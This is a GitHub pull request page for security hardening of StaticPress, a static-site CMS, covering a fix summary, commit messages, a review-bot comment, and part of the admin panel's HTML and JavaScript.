Skip to content

Security fixes from scan report#2

Open
buzzkillb wants to merge 34 commits intomainfrom
preview/scan-report-fixes
Open

Security fixes from scan report#2
buzzkillb wants to merge 34 commits intomainfrom
preview/scan-report-fixes

Conversation

@buzzkillb
Copy link
Owner

Summary of Security Fixes

Critical/High Priority Fixed

  • ✅ Sitemap uses siteUrl from config instead of hardcoded placeholder
  • ✅ SVG uploads rejected (Sharp can't convert, XSS risk)
  • ✅ Path traversal protection on media delete
  • ✅ Slug validation on all API endpoints
  • ✅ DOMPurify: removed style tag, added style to FORBID_ATTR
  • ✅ YAML safe parsing with JSON_SCHEMA
  • ✅ CSS injection protection: strict regex for theme_css values
  • ✅ Media library URL whitelist validation
  • ✅ API token excluded from config export
  • ✅ Token clipboard copy removed
  • ✅ Deploy command shows export pattern instead of inline token
  • ✅ iframe sandbox tightened to allow-scripts only
  • ✅ isProduction() improved to reject HTTP/private IPs/.local

Not Fixed (Documented Reasons)

  • Authentication: Local-only tool bound to 127.0.0.1
  • localStorage tokens: Known trade-off for local dev tools
  • Rate limiting: Not needed for single-user local tool

Files Changed

  • src/server.ts - Sitemap config, slug validation, path traversal fix
  • src/lib/markdown.ts - YAML safe parsing, DOMPurify config
  • src/layouts/BaseLayout.astro - CSS injection protection
  • admin/index.html - Media URL whitelist, iframe sandbox
  • src/pages/admin/deploy.astro - Token handling
  • src/lib/config.ts - isProduction() improvement
  • src/content.config.ts - Pages published field
  • scripts/generate-sitemap.ts - Pages filtering

- Build button tries API call, falls back to showing terminal command
- Add Node adapter for dev server API routes
- Create static config for production builds
- Build button now runs actual build and creates dist/ folder
- Simplified build to work with static output
- Build button shows instructions
- Run bun run build && bun run preview to see site
- Upgrade Astro to 6.0.7 and Tailwind to 4.2.2
- Remove conflicting @astrojs/tailwind, use @tailwindcss/vite only
- Add content collection config at src/content.config.ts
- Create dynamic blog post route src/pages/blog/[slug].astro
- Rewrite blog index to load from content collections
- Fix admin build page with actual build command
- Remove empty admin-pages directory
- Simplify build script (remove mv hack)
- Rename Deploy button to 'Show Deploy Command' (was misleading)
- Add security warning about localStorage for API tokens
- Remove HTML comment artifacts from post/page exports
- Add slug uniqueness validation to posts and pages editor
- Rewrite README with correct Astro commands (bun run dev, build, preview)
- Add pages_build_output_dir = "dist" to wrangler.toml
- Add script to BaseLayout to load theme_css from localStorage
- Note: favicon.svg already exists in public/
- Note: /admin/layout route already works (file exists at src/pages/admin/layout.astro)
Security & Data:
- Add try/catch around JSON.parse for localStorage data (posts, pages)
- Fix single quote escaping in HTML output to prevent XSS
- Add theme support to BaseLayout for homepage

Content Export:
- Add proper YAML escaping (escape quotes, newlines) in frontmatter
- Change Export All to download individual .md files instead of concatenated
- Remove invalid sitemap reference from robots.txt

Routing:
- Create src/pages/[slug].astro for static pages (/about etc.)
- Static pages now render correctly at their URL paths

Other fixes identified by expert review (acknowledged as design):
- Theme CSS injection from localStorage (design limitation)
- Visual editor placeholder (would need significant work)
- Layout builder non-functional (design limitation)
Critical:
- Sanitize theme CSS to prevent XSS via </style> tag injection
- Escape </ in CSS before injecting to prevent escaping the style tag

High:
- Fix deploy command to show real token with 'Copy Full Command' button
- Fix duplicate slug validation in posts.astro (parseInt NaN bug)
- Fix duplicate slug validation in pages.astro (same NaN bug)

Medium:
- Add date field to pages frontmatter export
- Fix typo in about.md: withwrangler -> with wrangler
- Add title.trim() validation to prevent whitespace-only titles
- Fix theme toggle text to say 'Switch to Light/Dark' instead of confusing opposite state
- Remove misleading 'Preparing...' state in deploy button
- Change about.md 'React' to 'Vanilla JS' for admin UI accuracy
- Fix welcome.md to use 'bunx wrangler' instead of 'npx wrangler'
New Architecture:
- Bun dev server (src/server.ts) handles file serving, API, and builds
- New admin SPA (admin/index.html) with TipTap visual editor
- Live preview with split view, iframe, or rendered HTML modes
- Existing content auto-imported on startup

Features:
- Visual + Markdown editor toggle (TipTap WYSIWYG)
- Live preview (3 modes: split, iframe, rendered)
- Save writes directly to src/content/posts/ and src/content/pages/
- Build and Deploy triggers from admin UI
- Auto-generates sitemap.xml and robots.txt

SEO:
- Canonical URLs on all pages
- Open Graph meta tags
- Twitter Card meta tags
- Article published/modified times
- Sitemap auto-generation
- robots.txt with security disallows

Security:
- Admin and API routes blocked by robots.txt
- Only static files deployed to Cloudflare Pages
- Markdown sanitized with DOMPurify

Updated:
- README with new workflow documentation
- SEO meta tags on all templates
- robots.txt with proper security headers
High Priority:
- Remove iframe/srcdoc from DOMPurify allowlist (XSS prevention)
- Add localhost-only restriction to API endpoints
- Add 1MB content size limit to renderMarkdown
- Add js-yaml for proper YAML frontmatter parsing

Medium Priority:
- Add caching to importExistingContent (5s TTL, invalidates on writes)
- Add types for js-yaml

Verified:
- XSS vectors (iframe, script) are now blocked
- API only works on localhost
- Build passes
- Server starts correctly
Security fixes:
- Escape --- in YAML frontmatter to prevent document separator injection
- Restrict theme CSS to only CSS custom properties (var(--xxx))
- Always sanitize TipTap content through server API before preview
- Remove duplicate theme toggle line

Verified:
- Build passes
- YAML --- properly escaped to \-\-\-
- CSS injection prevented (only var() allowed)
…itemap

- Add TipTap extensions: syntax highlighting, image upload, task lists, tables
- Media management with sharp compression (WebP, max 1920px)
- Formspree contact form integration
- PageLayout with shared navigation
- Generate static sitemap.xml post-build
- Fix CSS dark mode in admin modal
- Fix API error handling
- SVG passthrough without compression
- Return 404 when dist doesn't exist
- Bundle TipTap locally instead of unpkg CDN (HIGH)
- Sanitize TipTap HTML before saving (MEDIUM)
- Bind server to 127.0.0.1 only (MEDIUM)
- Fix ESM import in sitemap script (LOW)
- Add atomic writes and content validation (LOW)
- Add content size limits and slug validation
…heck

- HIGH: API token now retrieved from localStorage on copy, not stored in DOM
- MEDIUM: SVG files converted to WebP to prevent XSS attacks
- MEDIUM: Cache TTL reduced to 1 second to reduce stale data window
- LOW: Replaced CommonJS require() with ESM import statSync
- LOW: Use URL hostname instead of Host header for localhost check
- LOW: Add build-time warning for placeholder site URL
- Create site.config.json for siteUrl and formspreeId
- Create scripts/config.ts with validation and warnings
- Create src/lib/config.ts for Astro page imports
- Update all pages to use centralized config
- Build now warns if placeholders are detected
- Add .gitignore update for config files
- Add Site URL and Formspree ID fields to deploy settings page
- Save/load all settings (site + Cloudflare) to single config file
- Show placeholder warning before deploying
- Unified config file format with nested cloudflare settings
Add comprehensive settings panel to the admin SPA at /admin/:
- Site URL and Formspree ID configuration
- Cloudflare Pages project/token/account settings
- Save/Load config to/from JSON file
- Settings persist to localStorage

Now accessible via the ⚙️ Settings button in the admin sidebar.
- Remove static public/robots.txt (was hardcoded placeholder)
- Add robots.txt generation to sitemap script using siteUrl from config
- robots.txt now correctly references configured site URL
- Update src/lib/config.ts to load from site.config.json instead of hardcoding
- Add siteName and author fields to site.config.json
- Update public pages to use SITE_NAME and AUTHOR from config
- Pages updated: BaseLayout, PageLayout, [slug], blog/[slug], blog/index, index
- Build warnings now correctly flag placeholder values for all config fields
…oads

- Load siteUrl from site.config.json in src/server.ts instead of using hardcoded placeholder
- Reject SVG file uploads with 400 error to prevent XSS attacks (Sharp cannot convert SVG to WebP)
- Generate sitemap with correct baseUrl from config file
- Add published: z.boolean().default(true) to pages schema in content.config.ts
- Update scripts/generate-sitemap.ts to filter pages by published status
- Update src/server.ts sitemap generation to filter pages by published status
- Pages now default to published=true for backwards compatibility
HIGH priority fixes:
- Remove SVG from media file listing to match upload restrictions
- Add slug validation to all API endpoints (GET/POST/DELETE for posts and pages)
- Remove style tag from DOMPurify ALLOWED_TAGS to prevent CSS injection
- Use js-yaml dump() for frontmatter formatting to prevent YAML injection
- Add strict CSS value validation in theme_css (only allow colors, numbers, safe keywords)
- Add URL protocol whitelist in media library (only allow / and https://)
- Add sandbox attribute to preview iframe

Note: CSRF protection, authentication, and rate limiting not implemented as they
would require significant architectural changes for a local-only dev tool.
HIGH priority fixes:
- Add filename validation and path traversal protection to media delete endpoint
- Use yaml.JSON_SCHEMA for safe YAML parsing (prevents arbitrary code execution)
- Remove API token from config export (admin/index.html and deploy.astro)
- Remove 'Copy Full Command' button that exposed token in clipboard
- Update deploy command to show export pattern instead of inline token

Note: Authentication not implemented as this is a local-only dev tool.
localStorage token storage is documented as a known trade-off.
- Change iframe sandbox from 'allow-same-origin' to 'allow-scripts' for better isolation
- Improve isProduction() to reject: HTTP URLs, private IP ranges (10.x, 192.168.x, 172.16-31.x), .local domains, and loopback

Other issues from audit not addressed (acceptable for local-only tool):
- Authentication: Localhost binding is sufficient protection
- localStorage tokens: Known trade-off for local dev tools
- Rate limiting: Not needed for single-user local tool
- Security headers: Low impact for localhost dev
Copy link

@gitzillabot gitzillabot bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gitzilla has reviewed your changes and found 1 potential issue.

Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.

Comment on lines +1 to +1034
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>StaticPress Admin</title>
<script src="https://unpkg.com/@tailwindcss/browser@4"></script>
<link rel="icon" type="image/svg+xml" href="/favicon.svg">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/github-dark.min.css">
<script src="/admin/admin-editor.js" type="module"></script>
<style>
* { box-sizing: border-box; }
body { font-family: system-ui, -apple-system, sans-serif; }

/* TipTap Editor Styles */
.ProseMirror { outline: none; min-height: 300px; padding: 1rem; }
.ProseMirror p.is-editor-empty:first-child::before { color: #9ca3af; content: attr(data-placeholder); float: left; height: 0; pointer-events: none; }
.ProseMirror h1 { font-size: 2em; font-weight: bold; margin: 0.67em 0; }
.ProseMirror h2 { font-size: 1.5em; font-weight: bold; margin: 0.83em 0; }
.ProseMirror h3 { font-size: 1.17em; font-weight: bold; margin: 1em 0; }
.ProseMirror h4 { font-size: 1em; font-weight: bold; margin: 1.33em 0; }
.ProseMirror ul { list-style-type: disc; padding-left: 2em; margin: 1em 0; }
.ProseMirror ol { list-style-type: decimal; padding-left: 2em; margin: 1em 0; }
.ProseMirror li { margin: 0.25em 0; }
.ProseMirror blockquote { border-left: 3px solid #d1d5db; padding-left: 1em; margin: 1em 0; color: #6b7280; }
.ProseMirror code { background: #f3f4f6; padding: 0.2em 0.4em; border-radius: 3px; font-family: monospace; font-size: 0.9em; }
.ProseMirror pre { background: #1f2937; color: #f3f4f6; padding: 1em; border-radius: 0.5em; overflow-x: auto; margin: 1em 0; }
.ProseMirror pre code { background: none; padding: 0; color: inherit; }
.ProseMirror a { color: #3b82f6; text-decoration: underline; }
.ProseMirror img { max-width: 100%; height: auto; border-radius: 0.25rem; }
.ProseMirror hr { border: none; border-top: 2px solid #e5e7eb; margin: 2em 0; }

/* Task lists */
.ProseMirror ul[data-type="taskList"] { list-style: none; padding-left: 0; }
.ProseMirror ul[data-type="taskList"] li { display: flex; align-items: flex-start; gap: 0.5rem; }
.ProseMirror ul[data-type="taskList"] li > label { flex-shrink: 0; margin-top: 0.25rem; }
.ProseMirror ul[data-type="taskList"] li > div { flex: 1; }
.ProseMirror ul[data-type="taskList"] input[type="checkbox"] { width: 1.1em; height: 1.1em; cursor: pointer; }

/* Tables */
.ProseMirror table { border-collapse: collapse; width: 100%; margin: 1em 0; }
.ProseMirror table td, .ProseMirror table th { border: 1px solid #d1d5db; padding: 0.5em 1em; text-align: left; }
.ProseMirror table th { background: #f3f4f6; font-weight: bold; }
.ProseMirror table tr:hover { background: #f9fafb; }

/* Syntax highlighting */
.ProseMirror .hljs { background: transparent; padding: 0; }

/* Dark mode */
.dark .ProseMirror { background: #1f2937; color: #f9fafb; }
.dark .ProseMirror h1, .dark .ProseMirror h2, .dark .ProseMirror h3, .dark .ProseMirror h4 { color: #f9fafb; }
.dark .ProseMirror blockquote { border-color: #4b5563; color: #9ca3af; }
.dark .ProseMirror code { background: #374151; }
.dark .ProseMirror pre { background: #111827; }
.dark .ProseMirror table td, .dark .ProseMirror table th { border-color: #4b5563; }
.dark .ProseMirror table th { background: #374151; }
.dark .ProseMirror table tr:hover { background: #374151; }
.dark .ProseMirror hr { border-color: #4b5563; }

/* Split pane */
.split-pane { display: flex; height: calc(100vh - 180px); }
.split-pane > div { flex: 1; overflow: auto; }
.split-pane .divider { width: 4px; background: #e5e7eb; cursor: col-resize; }
.dark .split-pane .divider { background: #374151; }

/* Preview iframe */
.preview-iframe { width: 100%; height: 100%; border: none; background: white; }

/* Scrollbar */
::-webkit-scrollbar { width: 8px; height: 8px; }
::-webkit-scrollbar-track { background: #f3f4f6; }
::-webkit-scrollbar-thumb { background: #d1d5db; border-radius: 4px; }
.dark ::-webkit-scrollbar-track { background: #1f2937; }
.dark ::-webkit-scrollbar-thumb { background: #4b5563; }

/* Toast */
.toast { position: fixed; bottom: 20px; right: 20px; padding: 12px 24px; border-radius: 8px; color: white; font-weight: 500; z-index: 1000; transform: translateY(100px); opacity: 0; transition: all 0.3s; }
.toast.show { transform: translateY(0); opacity: 1; }
.toast.success { background: #10b981; }
.toast.error { background: #ef4444; }
.toast.info { background: #3b82f6; }

/* Toolbar */
.toolbar-btn { padding: 0.4rem 0.6rem; border-radius: 0.375rem; background: transparent; border: 1px solid transparent; cursor: pointer; display: flex; align-items: center; justify-content: center; transition: all 0.15s; }
.toolbar-btn:hover { background: #e5e7eb; }
.dark .toolbar-btn:hover { background: #4b5563; }
.toolbar-btn.active { background: #3b82f6; color: white; }
.toolbar-btn:disabled { opacity: 0.4; cursor: not-allowed; }

/* Media modal */
.modal-overlay { position: fixed; inset: 0; background: rgba(0,0,0,0.5); z-index: 100; display: flex; align-items: center; justify-content: center; }
.modal-content { background: white; border-radius: 0.5rem; box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.25); max-width: 64rem; width: 100%; max-height: 80vh; overflow: hidden; }
.dark .modal-content { background: #1f2937; }
.media-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); gap: 1rem; padding: 1rem; }
.media-item { border: 2px solid #e5e7eb; border-radius: 0.5rem; overflow: hidden; cursor: pointer; transition: all 0.15s; }
.dark .media-item { border-color: #374151; }
.dark .media-item-info { color: #9ca3af; }
.media-item:hover { border-color: #3b82f6; }
.media-item img { width: 100%; aspect-ratio: 1; object-fit: cover; }
.media-item-info { padding: 0.5rem; font-size: 0.75rem; color: #6b7280; }
</style>
</head>
<body class="bg-gray-100 dark:bg-gray-900">
<div id="app"></div>
<div id="toast" class="toast"></div>
<div id="modal-container"></div>

<script type="module">
const state = {
posts: [],
pages: [],
media: [],
currentView: 'posts',
currentItem: null,
editor: null,
mode: 'visual',
previewMode: 'split',
theme: localStorage.getItem('theme') || 'dark',
loading: false,
mediaModalOpen: false,
};

async function api(endpoint, options = {}) {
const res = await fetch(`/api${endpoint}`, {
headers: { 'Content-Type': 'application/json' },
...options,
});
if (!res.ok) {
const text = await res.text();
throw new Error(text || `API error: ${res.status}`);
}
return res.json();
}

async function apiForm(endpoint, formData) {
const res = await fetch(`/api${endpoint}`, {
method: 'POST',
body: formData,
});
const json = await res.json();
if (!res.ok) {
throw new Error(json.error || `Upload failed: ${res.status}`);
}
return json;
}

function showToast(message, type = 'info') {
const toast = document.getElementById('toast');
toast.textContent = message;
toast.className = `toast ${type} show`;
setTimeout(() => toast.classList.remove('show'), 3000);
}

function applyTheme() {
document.documentElement.classList.toggle('dark', state.theme === 'dark');
}

function render() {
applyTheme();
const app = document.getElementById('app');
app.innerHTML = `
<div class="flex h-screen">
<aside class="w-64 bg-gray-900 dark:bg-black text-white flex flex-col">
<div class="p-6 border-b border-gray-800">
<h1 class="text-xl font-bold">StaticPress</h1>
<p class="text-xs text-gray-400 mt-1">Admin Panel</p>
</div>
<nav class="flex-1 p-4 space-y-1">
<button onclick="navigate('posts')" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800 ${state.currentView === 'posts' ? 'bg-gray-800' : ''}">
📝 Posts
</button>
<button onclick="navigate('pages')" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800 ${state.currentView === 'pages' ? 'bg-gray-800' : ''}">
📄 Pages
</button>
<button onclick="openMediaModal()" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800 ${state.currentView === 'media' ? 'bg-gray-800' : ''}">
🖼️ Media
</button>
<div class="pt-4 border-t border-gray-800 mt-4">
<p class="text-xs text-gray-500 uppercase px-4 mb-2">Publish</p>
<button onclick="runBuild()" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800">
🔨 Build Site
</button>
<button onclick="runDeploy()" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800">
🚀 Deploy
</button>
</div>
<div class="pt-4 border-t border-gray-800 mt-4">
<p class="text-xs text-gray-500 uppercase px-4 mb-2">Config</p>
<button onclick="navigate('settings')" class="w-full text-left px-4 py-2 rounded hover:bg-gray-800 ${state.currentView === 'settings' ? 'bg-gray-800' : ''}">
⚙️ Settings
</button>
</div>
</nav>
<div class="p-4 border-t border-gray-800">
<button onclick="toggleTheme()" class="flex items-center gap-2 px-4 py-2 text-sm text-gray-400 hover:text-white w-full rounded hover:bg-gray-800">
${state.theme === 'dark' ? '☀️ Light Mode' : '🌙 Dark Mode'}
</button>
<a href="/" target="_blank" class="block px-4 py-2 text-sm text-gray-400 hover:text-white mt-2">
👁️ View Site →
</a>
</div>
</aside>

<main class="flex-1 flex flex-col overflow-hidden">
${renderMain()}
</main>
</div>
`;

if (state.currentItem !== null) {
initEditor();
}

if (state.mediaModalOpen) {
renderMediaModal();
}

// Populate settings fields when settings view is shown
if (state.currentView === 'settings') {
setTimeout(() => {
document.getElementById('settings-site-url').value = localStorage.getItem('site_url') || '';
document.getElementById('settings-formspree-id').value = localStorage.getItem('formspree_id') || '';
document.getElementById('settings-cf-project').value = localStorage.getItem('cf_project') || '';
document.getElementById('settings-cf-account').value = localStorage.getItem('cf_account') || '';
const cfToken = localStorage.getItem('cf_token') || '';
if (cfToken) {
document.getElementById('settings-cf-token').value = cfToken;
}
}, 0);
}
}

function renderMain() {
if (state.currentItem !== null) {
return renderEditor();
}
if (state.currentView === 'posts') return renderList('posts', state.posts);
if (state.currentView === 'pages') return renderList('pages', state.pages);
if (state.currentView === 'media') return renderMediaLibrary();
if (state.currentView === 'settings') return renderSettings();
return renderDashboard();
}

function renderDashboard() {
return `
<div class="p-8">
<h1 class="text-3xl font-bold text-gray-900 dark:text-white mb-8">Dashboard</h1>
<div class="grid grid-cols-3 gap-6">
<div class="bg-white dark:bg-gray-800 rounded-lg shadow p-6">
<h3 class="font-semibold text-gray-900 dark:text-white">📝 Posts</h3>
<p class="text-3xl font-bold text-blue-600">${state.posts.length}</p>
</div>
<div class="bg-white dark:bg-gray-800 rounded-lg shadow p-6">
<h3 class="font-semibold text-gray-900 dark:text-white">📄 Pages</h3>
<p class="text-3xl font-bold text-green-600">${state.pages.length}</p>
</div>
<div class="bg-white dark:bg-gray-800 rounded-lg shadow p-6">
<h3 class="font-semibold text-gray-900 dark:text-white">🖼️ Media</h3>
<p class="text-3xl font-bold text-purple-600">${state.media.length}</p>
</div>
</div>
</div>
`;
}

function renderList(type, items) {
return `
<div class="p-8 flex-1 overflow-auto">
<div class="flex justify-between items-center mb-6">
<h1 class="text-3xl font-bold text-gray-900 dark:text-white capitalize">${type}</h1>
<button onclick="createNew('${type}')" class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">
+ New ${type === 'posts' ? 'Post' : 'Page'}
</button>
</div>
<div class="space-y-4">
${items.length === 0 ? `
<div class="bg-white dark:bg-gray-800 rounded-lg p-8 text-center text-gray-500">
No ${type} yet. Create your first one!
</div>
` : items.map(item => `
<div class="bg-white dark:bg-gray-800 rounded-lg p-4 flex justify-between items-center">
<div>
<h3 class="font-semibold text-gray-900 dark:text-white">${escapeHtml(item.title || 'Untitled')}</h3>
<p class="text-sm text-gray-500">/${escapeHtml(item.slug)} • ${item.published ? 'Published' : 'Draft'}</p>
</div>
<div class="flex gap-2">
<button onclick="editItem('${type}', '${item.slug}')" class="px-3 py-1 bg-blue-600 text-white rounded hover:bg-blue-700">Edit</button>
<button onclick="deleteItem('${type}', '${item.slug}')" class="px-3 py-1 bg-red-600 text-white rounded hover:bg-red-700">Delete</button>
</div>
</div>
`).join('')}
</div>
</div>
`;
}

function renderMediaLibrary() {
const safeMedia = state.media.filter(item => {
const url = item.url || '';
return url.startsWith('/') || url.startsWith('https://');
});
return `
<div class="p-8 flex-1 overflow-auto">
<div class="flex justify-between items-center mb-6">
<h1 class="text-3xl font-bold text-gray-900 dark:text-white">Media Library</h1>
<label class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 cursor-pointer">
+ Upload Image
<input type="file" accept="image/*" onchange="uploadMedia(this.files)" class="hidden" multiple>
</label>
</div>
<div class="grid grid-cols-4 gap-6">
${safeMedia.length === 0 ? `
<div class="col-span-4 bg-white dark:bg-gray-800 rounded-lg p-8 text-center text-gray-500">
No media yet. Upload your first image!
</div>
` : safeMedia.map(item => `
<div class="bg-white dark:bg-gray-800 rounded-lg p-4">
<div class="aspect-square bg-gray-100 dark:bg-gray-700 rounded-lg overflow-hidden mb-2">
<img src="${escapeHtml(item.url)}" alt="${escapeHtml(item.name)}" class="w-full h-full object-cover">
</div>
<p class="text-sm text-gray-900 dark:text-white truncate">${escapeHtml(item.name)}</p>
<p class="text-xs text-gray-500">${item.size}</p>
<div class="flex gap-2 mt-2">
<button onclick="copyMediaUrl('${escapeHtml(item.url)}')" class="flex-1 px-2 py-1 bg-gray-200 dark:bg-gray-700 rounded text-xs hover:bg-gray-300 dark:hover:bg-gray-600">Copy URL</button>
<button onclick="deleteMedia('${escapeHtml(item.name)}')" class="flex-1 px-2 py-1 bg-red-100 dark:bg-red-900 text-red-600 dark:text-red-300 rounded text-xs hover:bg-red-200 dark:hover:bg-red-800">Delete</button>
</div>
</div>
`).join('')}
</div>
</div>
`;
}

function renderSettings() {
return `
<div class="p-8 flex-1 overflow-auto">
<h1 class="text-3xl font-bold text-gray-900 dark:text-white mb-8">Settings</h1>

<!-- Site Configuration -->
<div class="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 mb-6">
<h2 class="text-lg font-semibold text-gray-900 dark:text-white mb-4">Site Configuration</h2>
<p class="text-gray-600 dark:text-gray-300 text-sm mb-4">These settings are used for SEO, sitemap, and contact form.</p>

<div class="space-y-4">
<div>
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Site URL</label>
<input type="url" id="settings-site-url" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="https://example.com" />
</div>

<div>
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Formspree Form ID <a href="https://formspree.io" target="_blank" class="text-blue-500 text-xs">(Get Free Form →)</a></label>
<input type="text" id="settings-formspree-id" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="xyzabc123" />
</div>

<button onclick="saveSiteSettings()" class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">Save Site Settings</button>
</div>
</div>

<!-- Cloudflare Configuration -->
<div class="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 mb-6">
<h2 class="text-lg font-semibold text-gray-900 dark:text-white mb-4">Cloudflare Pages Configuration</h2>

<div class="space-y-4">
<div>
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Project Name</label>
<input type="text" id="settings-cf-project" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="my-static-site" />
</div>

<div>
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">API Token <a href="https://dash.cloudflare.com/profile/api-tokens" target="_blank" class="text-blue-500 text-xs">(Get Token →)</a></label>
<input type="password" id="settings-cf-token" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="toke****oken" />
</div>

<div>
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Account ID</label>
<input type="text" id="settings-cf-account" class="w-full px-3 py-2 border border-gray-300 dark:border-gray-600 dark:bg-gray-700 dark:text-white rounded-lg" placeholder="Your Cloudflare Account ID" />
</div>

<button onclick="saveCloudflareSettings()" class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">Save Cloudflare Settings</button>
</div>
</div>

<!-- Config File -->
<div class="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 mb-6">
<h2 class="text-lg font-semibold text-gray-900 dark:text-white mb-4">Save/Load Configuration</h2>
<p class="text-gray-600 dark:text-gray-300 mb-4 text-sm">Save all settings to a config file.</p>
<div class="flex gap-3">
<button onclick="loadConfigFile()" class="px-4 py-2 bg-gray-600 text-white rounded-lg hover:bg-gray-700">Load Config</button>
<button onclick="saveConfigFile()" class="px-4 py-2 bg-green-600 text-white rounded-lg hover:bg-green-700">Save Config</button>
</div>
</div>

<div class="bg-yellow-50 dark:bg-yellow-900/30 border border-yellow-200 dark:border-yellow-800 rounded-lg p-4">
<h3 class="font-medium text-yellow-800 dark:text-yellow-200 mb-2">⚠️ Note</h3>
<p class="text-sm text-yellow-700 dark:text-yellow-300">After changing settings, rebuild the site for changes to take effect.</p>
</div>
</div>
`;
}

function renderEditor() {
const item = state.currentItem;
return `
<div class="p-4 border-b border-gray-200 dark:border-gray-700 flex justify-between items-center bg-white dark:bg-gray-800">
<div class="flex gap-4">
<button onclick="backToList()" class="px-4 py-2 bg-gray-200 dark:bg-gray-700 rounded-lg hover:bg-gray-300 dark:hover:bg-gray-600">
← Back
</button>
<select id="preview-select" onchange="setPreviewMode(this.value)" class="px-3 py-2 border rounded-lg dark:bg-gray-700 dark:border-gray-600">
<option value="split" ${state.previewMode === 'split' ? 'selected' : ''}>Split View</option>
<option value="iframe" ${state.previewMode === 'iframe' ? 'selected' : ''}>Iframe Preview</option>
<option value="rendered" ${state.previewMode === 'rendered' ? 'selected' : ''}>Rendered HTML</option>
</select>
</div>
<div class="flex gap-2">
<button onclick="saveItem()" class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700">
💾 Save
</button>
</div>
</div>

<div class="p-4 border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800/50">
<div class="grid grid-cols-4 gap-4">
<div>
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Title</label>
<input type="text" id="item-title" value="${escapeHtml(item.title || '')}"
class="w-full px-3 py-2 border rounded-lg dark:bg-gray-700 dark:border-gray-600"
placeholder="Post title...">
</div>
<div>
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Slug</label>
<input type="text" id="item-slug" value="${escapeHtml(item.slug || '')}"
class="w-full px-3 py-2 border rounded-lg dark:bg-gray-700 dark:border-gray-600"
placeholder="url-slug">
</div>
<div>
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Excerpt</label>
<input type="text" id="item-excerpt" value="${escapeHtml(item.excerpt || '')}"
class="w-full px-3 py-2 border rounded-lg dark:bg-gray-700 dark:border-gray-600"
placeholder="Short description...">
</div>
<div class="flex items-end gap-4">
<label class="flex items-center gap-2 cursor-pointer">
<input type="checkbox" id="item-published" ${item.published ? 'checked' : ''} class="w-4 h-4 rounded">
<span class="text-sm text-gray-700 dark:text-gray-300">Published</span>
</label>
</div>
</div>
</div>

<div class="split-pane ${state.previewMode === 'iframe' || state.previewMode === 'rendered' ? 'flex-col' : ''}">
${state.previewMode !== 'iframe' ? `
<div class="border-r border-gray-200 dark:border-gray-700 flex flex-col">
<div class="p-2 border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800 flex items-center gap-1 flex-wrap">
<button onclick="setMode('visual')" class="px-3 py-1 rounded ${state.mode === 'visual' ? 'bg-blue-600 text-white' : 'bg-gray-200 dark:bg-gray-700'}">Visual</button>
<button onclick="setMode('markdown')" class="px-3 py-1 rounded ${state.mode === 'markdown' ? 'bg-blue-600 text-white' : 'bg-gray-200 dark:bg-gray-700'}">Markdown</button>
<div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div>
${state.mode === 'visual' ? `
<button onclick="format('bold')" class="toolbar-btn" title="Bold"><b>B</b></button>
<button onclick="format('italic')" class="toolbar-btn" title="Italic"><i>I</i></button>
<button onclick="format('strike')" class="toolbar-btn" title="Strikethrough"><s>S</s></button>
<button onclick="format('code')" class="toolbar-btn" title="Inline Code"><code>&lt;&gt;</code></button>
<div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div>
<button onclick="format('heading', { level: 1 })" class="toolbar-btn" title="Heading 1">H1</button>
<button onclick="format('heading', { level: 2 })" class="toolbar-btn" title="Heading 2">H2</button>
<button onclick="format('heading', { level: 3 })" class="toolbar-btn" title="Heading 3">H3</button>
<div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div>
<button onclick="format('bulletList')" class="toolbar-btn" title="Bullet List">• List</button>
<button onclick="format('orderedList')" class="toolbar-btn" title="Numbered List">1. List</button>
<button onclick="format('taskList')" class="toolbar-btn" title="Task List">☐ Task</button>
<div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div>
<button onclick="format('blockquote')" class="toolbar-btn" title="Quote">❝</button>
<button onclick="format('codeBlock')" class="toolbar-btn" title="Code Block">{ }</button>
<button onclick="format('hr')" class="toolbar-btn" title="Horizontal Rule">—</button>
